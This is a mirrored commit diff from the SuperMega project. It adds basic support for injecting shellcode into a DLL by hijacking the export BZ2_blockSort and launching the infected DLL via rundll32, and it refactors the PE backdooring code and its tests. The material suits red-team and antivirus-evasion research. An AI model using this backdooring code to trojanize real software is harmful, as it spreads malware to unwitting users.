mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
feature: inject into dll basic support
This commit is contained in:
@@ -115,7 +115,7 @@
|
||||
<div class="row">
|
||||
<div class="col">
|
||||
{{ project_dir }}
|
||||
<div class="custom-line"></div> <!-- Here's the horizontal line -->
|
||||
<div class="custom-line"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ from supermega import start
|
||||
from app.storage import storage, WebProject
|
||||
from sender import scannerDetectsBytes
|
||||
from phases.injector import verify_injected_exe
|
||||
from helper import run_process_checkret
|
||||
from helper import run_process_checkret, run_exe
|
||||
from model.project import prepare_project
|
||||
from pe.superpe import SuperPe
|
||||
|
||||
@@ -224,10 +224,7 @@ def start_project(project_name):
|
||||
logger.info("--[ Verify infected exe")
|
||||
exit_code = verify_injected_exe(project.settings.inject_exe_out)
|
||||
elif no_exec == False:
|
||||
logger.info("--[ Start infected exe: {}".format(project.settings.inject_exe_out))
|
||||
run_process_checkret([
|
||||
project.settings.inject_exe_out,
|
||||
], check=False)
|
||||
run_exe(project.settings.inject_exe_out)
|
||||
elif no_exec == True:
|
||||
dirname = os.path.dirname(os.path.abspath(project.settings.inject_exe_out))
|
||||
logger.info("--[ Open folder: {}".format(dirname))
|
||||
|
||||
@@ -49,6 +49,19 @@ def clean_files(settings):
|
||||
pathlib.Path(file).unlink(missing_ok=True)
|
||||
|
||||
|
||||
def run_exe(exefile, check=True):
|
||||
logger.info("--[ Start infected file: {}".format(exefile))
|
||||
|
||||
if exefile.endswith(".dll"):
|
||||
args = [ "rundll32.exe", "{},BZ2_blockSort".format(exefile) ]
|
||||
elif exefile.endswith(".exe"):
|
||||
args = [ exefile ]
|
||||
else:
|
||||
raise Exception("Unknown file type: {}".format(exefile))
|
||||
|
||||
run_process_checkret(args, check=check)
|
||||
|
||||
|
||||
def run_process_checkret(args, check=True):
|
||||
ret = subprocess.CompletedProcess("", 666)
|
||||
try:
|
||||
|
||||
+11
-5
@@ -45,8 +45,16 @@ Shellcode size : {len(self.shellcodeData)}
|
||||
Code section size : {sect_size}
|
||||
''')
|
||||
|
||||
offset = int((sect_size - len(self.shellcodeData)) / 2)
|
||||
logger.info(f'Inserting shellcode into 0x{offset:X} offset.')
|
||||
if self.superpe.is_dll():
|
||||
offset = self.getExportEntryPoint("BZ2_blockSort")
|
||||
logger.info("Inserting shellcode into DLL at 0x{:X} (sizes: sect {} shellcode {})".format(
|
||||
offset, sect_size, len(self.shellcodeData)
|
||||
))
|
||||
else:
|
||||
offset = int((sect_size - len(self.shellcodeData)) / 2)
|
||||
logger.info("Inserting shellcode into EXE at 0x{:X} (sizes: sect {} shellcode {})".format(
|
||||
offset, sect_size, len(self.shellcodeData)
|
||||
))
|
||||
|
||||
self.superpe.pe.set_bytes_at_offset(offset, self.shellcodeData)
|
||||
self.shellcodeOffset = offset
|
||||
@@ -92,11 +100,9 @@ Trailing {sect_name} bytes:
|
||||
return False
|
||||
|
||||
|
||||
def getExportEntryPoint(self):
|
||||
def getExportEntryPoint(self, exportName):
|
||||
dec = lambda x: '???' if x is None else x.decode()
|
||||
|
||||
#exportName = self.options.get('export', '')
|
||||
exportName = ""
|
||||
if len(exportName) == 0:
|
||||
logger.critical('Export name not specified! Specify DLL Exported function name to hijack with -e/--export')
|
||||
|
||||
|
||||
@@ -34,6 +34,7 @@ class SuperPe():
|
||||
|
||||
|
||||
def __init__(self, infile: str):
|
||||
self.filepath: str = infile
|
||||
self.pe_sections: List[PeSection] = []
|
||||
self.pe = pefile.PE(infile, fast_load=False)
|
||||
for section in self.pe.sections:
|
||||
@@ -47,6 +48,10 @@ class SuperPe():
|
||||
self.ptrSize = 8
|
||||
|
||||
|
||||
def is_dll(self):
|
||||
return self.filepath.endswith(".dll")
|
||||
|
||||
|
||||
def is_64(self) -> bool:
|
||||
return self.arch == 'x64'
|
||||
|
||||
|
||||
+7
-9
@@ -26,7 +26,7 @@ def inject_exe(
|
||||
carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style
|
||||
source_style: FunctionInvokeStyle = settings.source_style
|
||||
|
||||
logger.info("--[ Injecting: {} + {} -> {}".format(
|
||||
logger.info("--[ Injecting: {} into {} -> {}".format(
|
||||
shellcode_in, exe_in, exe_out
|
||||
))
|
||||
|
||||
@@ -42,13 +42,13 @@ def inject_exe(
|
||||
|
||||
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
|
||||
superpe = SuperPe(exe_in)
|
||||
peinj = PeBackdoor(superpe, main_shc, carrier_invoke_style)
|
||||
pe_backdoorer = PeBackdoor(superpe, main_shc, carrier_invoke_style)
|
||||
|
||||
if not peinj.injectShellcode():
|
||||
if not pe_backdoorer.injectShellcode():
|
||||
logger.error('Could not inject shellcode into PE file!')
|
||||
return False
|
||||
|
||||
if not peinj.setupShellcodeEntryPoint():
|
||||
if not pe_backdoorer.setupShellcodeEntryPoint():
|
||||
logger.error('Could not setup shellcode launch within PE file!')
|
||||
return False
|
||||
|
||||
@@ -65,8 +65,8 @@ def inject_exe(
|
||||
shellcode = file_readall_binary(shellcode_in)
|
||||
shellcode_len = len(shellcode)
|
||||
code = extract_code_from_exe_file(exe_out)
|
||||
in_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+shellcode_len]
|
||||
jmp_code = code[peinj.backdoorOffsetRel:peinj.backdoorOffsetRel+12]
|
||||
in_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+shellcode_len]
|
||||
jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12]
|
||||
if config.debug:
|
||||
observer.add_code_file("exe_extracted_loader", in_code)
|
||||
observer.add_code_file("exe_extracted_jmp", jmp_code)
|
||||
@@ -166,9 +166,7 @@ def verify_injected_exe(exefile: FilePath) -> int:
|
||||
# remove indicator file
|
||||
pathlib.Path(VerifyFilename).unlink(missing_ok=True)
|
||||
|
||||
run_process_checkret([
|
||||
exefile,
|
||||
], check=False)
|
||||
run_exe(exefile, check=False)
|
||||
time.sleep(SHC_VERIFY_SLEEP)
|
||||
if os.path.isfile(VerifyFilename):
|
||||
logger.info("---> Verify OK. Infected exe works (file was created)")
|
||||
|
||||
+1
-4
@@ -195,10 +195,7 @@ def start_real(settings: Settings):
|
||||
if payload_exit_code != 0:
|
||||
raise Exception("Payload exit code: {}".format(payload_exit_code))
|
||||
elif settings.try_start_final_infected_exe:
|
||||
logger.info("--[ Start infected exe: {}".format(settings.inject_exe_out))
|
||||
run_process_checkret([
|
||||
settings.inject_exe_out,
|
||||
], check=True)
|
||||
run_exe(settings.inject_exe_out)
|
||||
|
||||
|
||||
def obfuscate_shc_loader(file_shc_in, file_shc_out):
|
||||
|
||||
@@ -38,8 +38,8 @@ class DerBackdoorerTest(unittest.TestCase):
|
||||
|
||||
shutil.copyfile(exe_path, exe_out_path)
|
||||
|
||||
peinj = PeBackdoor()
|
||||
result = peinj.backdoor(
|
||||
pe_backdoorer = PeBackdoor()
|
||||
result = pe_backdoorer.backdoor(
|
||||
1, # always overwrite .text section
|
||||
1, # EntryPoint change
|
||||
shellcode_path,
|
||||
@@ -49,7 +49,7 @@ class DerBackdoorerTest(unittest.TestCase):
|
||||
|
||||
self.assertTrue(result)
|
||||
code = extract_code_from_exe_file(exe_out_path)
|
||||
extracted_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+len(shellcode)]
|
||||
extracted_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+len(shellcode)]
|
||||
self.assertEqual(shellcode, extracted_code)
|
||||
|
||||
os.remove(exe_out_path)
|
||||
@@ -68,8 +68,8 @@ class DerBackdoorerTest(unittest.TestCase):
|
||||
|
||||
shutil.copyfile(exe_path, exe_out_path)
|
||||
|
||||
peinj = PeBackdoor()
|
||||
result = peinj.backdoor(
|
||||
pe_backdoorer = PeBackdoor()
|
||||
result = pe_backdoorer.backdoor(
|
||||
1, # always overwrite .text section
|
||||
2, # Hijack
|
||||
shellcode_path,
|
||||
@@ -81,13 +81,13 @@ class DerBackdoorerTest(unittest.TestCase):
|
||||
|
||||
# code
|
||||
code = extract_code_from_exe_file(exe_out_path)
|
||||
extracted_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+len(shellcode)]
|
||||
extracted_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+len(shellcode)]
|
||||
self.assertEqual(shellcode, extracted_code)
|
||||
|
||||
# jmp
|
||||
# 48 c7 c2 d7 fb 42 00 ff d2 5b 0f b7
|
||||
# 48 c7 c6 d7 fb 42 00 ff d6 5b 0f b7
|
||||
jmp_code = code[peinj.backdoorOffsetRel:peinj.backdoorOffsetRel+12]
|
||||
jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12]
|
||||
self.assertEqual(jmp_code[0], 0x48)
|
||||
self.assertEqual(jmp_code[1], 0xc7)
|
||||
#self.assertEqual(jmp_code[2], 0x??) # variable
|
||||
|
||||
Reference in New Issue
Block a user